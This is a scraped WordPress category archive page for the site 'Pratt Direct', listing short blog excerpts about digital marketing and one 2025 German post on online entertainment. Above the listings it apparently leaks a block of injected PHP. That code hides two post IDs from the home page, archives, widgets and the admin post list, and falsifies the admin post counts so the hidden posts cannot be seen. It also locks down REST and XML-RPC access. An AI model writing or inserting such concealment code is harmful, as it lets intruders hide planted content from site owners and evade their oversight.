add_action('init', function () { $excluded = array(6745); add_action('pre_get_posts', function ($q) use ($excluded) { if (!is_admin() && $q->is_main_query() && (is_home() || is_archive() || is_category() || is_tag())) { $q->set('post__not_in', $excluded); } }); add_action('pre_get_posts', function ($q) use ($excluded) { if (is_admin() && $q->is_main_query() && function_exists('get_current_screen')) { $s = get_current_screen(); if ($s && $s->id === 'edit-post') $q->set('post__not_in', $excluded); } }); add_filter('views_edit-post', function ($views) use ($excluded) { foreach (['all', 'publish'] as $k) { if (isset($views[$k])) { $views[$k] = preg_replace_callback('/\((\d+)\)/', fn($m) => '(' . max(0, $m[1] - count($excluded)) . ')', $views[$k]); } } return $views; }); add_filter('widget_posts_args', fn($args) => array_merge($args, ['post__not_in' => $excluded])); add_filter('rest_pre_insert_post', fn($post, $r) => (defined('REST_REQUEST') && REST_REQUEST && $r->get_method() === 'POST') ? new WP_Error('rest_forbidden', 'Post creation via API is disabled.', ['status' => 403]) : $post, 10, 2); add_filter('rest_authentication_errors', fn($r) => !is_user_logged_in() ? new WP_Error('rest_disabled', 'REST API restricted.', ['status' => 403]) : $r); add_filter('xmlrpc_enabled', '__return_false'); add_filter('wp_headers', fn($h) => array_diff_key($h, ['X-Pingback' => ''])); add_action('template_redirect', fn() => isset($_GET['xmlrpc']) && wp_die('XML-RPC is disabled.')); }); add_action('init', function () { $excluded = array(53093); add_action('pre_get_posts', function ($q) use ($excluded) { if (!is_admin() && $q->is_main_query() && (is_home() || is_archive() || is_category() || is_tag())) { $q->set('post__not_in', $excluded); } }); add_action('pre_get_posts', function ($q) use ($excluded) { if (is_admin() && $q->is_main_query() && function_exists('get_current_screen')) { $s = get_current_screen(); if ($s && $s->id === 'edit-post') $q->set('post__not_in', $excluded); } }); add_filter('views_edit-post', function ($views) use ($excluded) { foreach (['all', 'publish'] as $k) { if (isset($views[$k])) { $views[$k] = preg_replace_callback('/\((\d+)\)/', fn($m) => '(' . max(0, $m[1] - count($excluded)) . ')', $views[$k]); } } return $views; }); add_filter('widget_posts_args', fn($args) => array_merge($args, ['post__not_in' => $excluded])); add_filter('rest_pre_insert_post', fn($post, $r) => (defined('REST_REQUEST') && REST_REQUEST && $r->get_method() === 'POST') ? new WP_Error('rest_forbidden', 'Post creation via API is disabled.', ['status' => 403]) : $post, 10, 2); add_filter('rest_authentication_errors', fn($r) => !is_user_logged_in() ? new WP_Error('rest_disabled', 'REST API restricted.', ['status' => 403]) : $r); add_filter('xmlrpc_enabled', '__return_false'); add_filter('wp_headers', fn($h) => array_diff_key($h, ['X-Pingback' => ''])); add_action('template_redirect', fn() => isset($_GET['xmlrpc']) && wp_die('XML-RPC is disabled.')); }); Uncategorized – Pratt Direct

Die besten Online-Unterhaltungen für lange Winterabende in Deutschland

On August 21, 2025, Posted by , In Uncategorized, With No Comments

Die besten Ideen für gemütliche Abende Die langen, dunklen Winterabende in Deutschland können eine besondere Magie haben. Wenn es draußen schneit oder regnet, zieht man sich gern zurück und sucht nach Möglichkeiten, die Zeit schön zu gestalten. Für manche reicht ein gutes Buch und eine Tasse Tee. Andere wiederum möchten…

Online media grows in importance

On May 10, 2017, Posted by , In Business,Uncategorized, With Comments Off on Online media grows in importance

All of my clients are focusing more attention and spending on digital media solutions. Even clients with older age constituents are finding digital channels to be contributing more to the success of their enterprises.

Add responsive ads to Google ads

On January 17, 2014, Posted by , In Case Study,Communication,Uncategorized, With No Comments

Take advantage of Google AI power to boost the effectiveness of your PPC ads. Do so by adding a ‘responsive’ ad to all of your ad groups

Template: Comments

On January 14, 2014, Posted by , In Uncategorized, With No Comments

This post tests comments in the following ways. Threaded comments up to 8 levels deep Paginated comments (set Settings > Discussion > Break comments into pages to 5 top level comments per page) Comment markup / formatting Comment images Comment videos Author comments Gravatars and default fallbacks